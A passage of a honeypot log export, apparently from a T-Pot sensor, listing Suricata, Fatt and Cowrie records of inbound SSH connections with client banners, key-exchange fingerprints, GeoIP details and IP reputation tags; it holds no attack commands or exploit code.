26467	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:12:04.281118+03	2021-09-20 14:15:13.308647+03	{"_id": "UQbnAnwBvYTbRNuE6CFy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 1393010038536215, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36250, "dest_port": 22, "timestamp": "2021-09-20T11:12:04.281118Z", "@timestamp": "2021-09-20T11:12:04.281Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
26468	119.29.153.168	109.199.241.180	Fatt	2021-09-20 14:12:04.285376+03	2021-09-20 14:15:13.309674+03	{"_id": "VgbnAnwBvYTbRNuE6SGZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 36250, "dest_port": 22, "timestamp": "2021-09-20T11:12:04.285376", "@timestamp": "2021-09-20T11:12:04.285Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
26469	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:12:16.104458+03	2021-09-20 14:15:13.310674+03	{"_id": "ggboAnwBvYTbRNuEFSE9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:39772 (192.168.176.2:22) [session: 0b7269cb082e]", "session": "0b7269cb082e", "@version": "1", "protocol": "ssh", "src_port": 39772, "dest_port": 22, "timestamp": "2021-09-20T11:12:16.104458Z", "@timestamp": "2021-09-20T11:12:16.104Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26470	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:16.27567+03	2021-09-20 14:15:13.311675+03	{"_id": "jAboAnwBvYTbRNuEFSE-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "832565d1d09d", "@version": "1", "timestamp": "2021-09-20T11:12:16.275670Z", "@timestamp": "2021-09-20T11:12:16.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26471	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:12:16.23992+03	2021-09-20 14:15:13.313647+03	{"_id": "jgboAnwBvYTbRNuEFyFY", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 792595086143491, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51356, "dest_port": 22, "timestamp": "2021-09-20T11:12:16.239920Z", "@timestamp": "2021-09-20T11:12:16.239Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
26472	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:17.167045+03	2021-09-20 14:15:13.314644+03	{"_id": "kAboAnwBvYTbRNuEGCGB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "95.85.8.215", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39889, "timestamp": "2021-09-20T11:12:17.167045", "@timestamp": "2021-09-20T11:12:17.167Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26473	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:12:17.163329+03	2021-09-20 14:15:13.315674+03	{"_id": "lwboAnwBvYTbRNuEGSEm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 95.85.8.215:39889 (192.168.176.2:22) [session: 0c425028acb1]", "session": "0c425028acb1", "@version": "1", "protocol": "ssh", "src_port": 39889, "dest_port": 22, "timestamp": "2021-09-20T11:12:17.163329Z", "@timestamp": "2021-09-20T11:12:17.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26474	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:12:17.166384+03	2021-09-20 14:15:13.316645+03	{"_id": "lgboAnwBvYTbRNuEGSEm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "0c425028acb1", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:12:17.166384Z", "@timestamp": "2021-09-20T11:12:17.166Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26475	193.105.134.45	109.199.241.180	Cowrie	2021-09-20 14:12:18.592726+03	2021-09-20 14:15:13.317665+03	{"_id": "nwboAnwBvYTbRNuEHSEP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "193.105.134.45", "asn": 42708, "as_org": "Portlane AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "bad reputation", "sensor": "b63cdd9641b8", "src_ip": "193.105.134.45", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 193.105.134.45:63640 (192.168.176.2:22) [session: dc1f0ed2efd0]", "session": "dc1f0ed2efd0", "@version": "1", "protocol": "ssh", "src_port": 63640, "dest_port": 22, "timestamp": "2021-09-20T11:12:18.592726Z", "@timestamp": "2021-09-20T11:12:18.592Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	bad reputation	\N
41546	192.168.20.147	109.199.241.180	Suricata	2021-09-20 16:06:06.075687+03	2021-09-20 16:15:03.053748+03	{"_id": "bQZQA3wBvYTbRNuETY8a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:06:06.075687Z", "@timestamp": "2021-09-20T13:06:06.075Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
26476	193.105.134.45	109.199.241.180	Cowrie	2021-09-20 14:12:18.595654+03	2021-09-20 14:15:13.319671+03	{"_id": "owboAnwBvYTbRNuEHSEP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "193.105.134.45", "asn": 42708, "as_org": "Portlane AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "ip_rep": "bad reputation", "sensor": "b63cdd9641b8", "src_ip": "193.105.134.45", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-paramiko_1.17.1'", "session": "dc1f0ed2efd0", "version": "b'SSH-2.0-paramiko_1.17.1'", "@version": "1", "timestamp": "2021-09-20T11:12:18.595654Z", "@timestamp": "2021-09-20T11:12:18.595Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	bad reputation	\N
26477	193.105.134.45	109.199.241.180	Suricata	2021-09-20 14:12:18.74772+03	2021-09-20 14:15:13.320674+03	{"_id": "pAboAnwBvYTbRNuEHyEp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "paramiko_1.17.1"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:12:18.538245+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 843, "bytes_toserver": 1729}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "193.105.134.45", "asn": 42708, "as_org": "Portlane AB", "latitude": 59.3247, "location": {"lat": 59.3247, "lon": 18.056}, "timezone": "Europe/Stockholm", "longitude": 18.056, "country_name": "Sweden", "country_code2": "SE", "country_code3": "SE", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "bad reputation", "src_ip": "193.105.134.45", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 152017893996165, "payload": "AAAB/PUeAAABAQCDScG3QRxufIpQuLZ2XI5p4IZM67KRnp+PrDSKeoNPQVrY7nbwADqYzCAd3gp00fR/TmiePJ3tg4uCV9IyRiKT5hdq1Stskv5gdZuLWrFwQaLHZilDAZcInvqVyxE24Y6PUGyzgX5gr7bMM/J/ScWKYyhJA2Dql6AHlw6Iy1ONuiXINvZN+0BPooatMhl3M0spfr//uUYFcsRPU4Gk++zBnpWpouVCPc90JLlkL+cp2pb6l3eLLDXvQpGP3IMxCJJ4Ma3Okn7D8Kue4EI0VIHVbZE93s5jSlMBxGCr452MAO7Kj7UJqJKvT9WC7iHh96yr7U83nczJuD++Rwl8BHQe9Unm5mZYGk11zQtGqat0ciaPAVQuB2vXCwzQSEYZbPIO2i2bP2JMTK3gUHq+QEk9gOHaszgM3zo4GawzBaqJ+KbzDr+8TL2Iqf3xxXGpj7/MfJAJpfsFY+bMwWVCYxG3Jc2nu7gz+21HqwdV08xRXzskq3zaN3stPoSAwpPUAbUXXLMX0xTeQKRlujHooqt4Ym5Lda1Z820zyT7hkUexo6OGi3w5LBT11HVDPr++ffsSVK/WUACq577PvkkH2/cFv+VUZajOMP/spZc/IkMkN9gRyg80sRON8OnEKVbNmHFkpMHpDHq0dVwZjaitlKMApACEo7U=", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 63640, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:12:18.747720Z", "@timestamp": "2021-09-20T11:12:18.747Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "............I..A.n|.P..v\\\\.i..L.......4.z.OAZ..v..:.. ..\\nt...Nh.<.....W.2F\\"...j.+l..`u..Z.pA..f)C........6...Pl..~`...3..I..c(I.`........S..%.6.M.@O...2.w3K)~...F.r.OS..........B=.t$.d/.)....w.,5.B....1..x1...~.....B4T..m.=..cJS..`.............O...!.....O7....?.G.|.t..I..fX.Mu..F..tr&..T..k....HF.l...-.?bLL..Pz.@I=....8..:8..3.........L......q....|.....c...eBc..%....3.mG..U..Q_;$.|.7{->........\\\\.....@.e.1...xbnKu.Y.m3.>..G.....|9,...uC>..}..T..P......I......Te..0....?\\"C$7....4......)V..qd....z.u\\\\............"}}	1	\N	\N	alert	bad reputation	\N
26478	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:12:18.596836+03	2021-09-20 14:15:13.321676+03	{"_id": "pgboAnwBvYTbRNuEICFS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "193.105.134.45", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 63640, "timestamp": "2021-09-20T11:12:18.596836", "@timestamp": "2021-09-20T11:12:18.596Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26479	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:18.725098+03	2021-09-20 14:15:13.323648+03	{"_id": "qQboAnwBvYTbRNuEICH3", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "832565d1d09d", "@version": "1", "duration": 2.760460376739502, "timestamp": "2021-09-20T11:12:18.725098Z", "@timestamp": "2021-09-20T11:12:18.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26480	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:12:15.961917+03	2021-09-20 14:15:13.324674+03	{"_id": "hwboAnwBvYTbRNuEFSE-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.110.220.49:51356 (192.168.176.2:22) [session: 832565d1d09d]", "session": "832565d1d09d", "@version": "1", "protocol": "ssh", "src_port": 51356, "dest_port": 22, "timestamp": "2021-09-20T11:12:15.961917Z", "@timestamp": "2021-09-20T11:12:15.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26481	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:12:17.211531+03	2021-09-20 14:15:13.325645+03	{"_id": "kwboAnwBvYTbRNuEGSEm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", 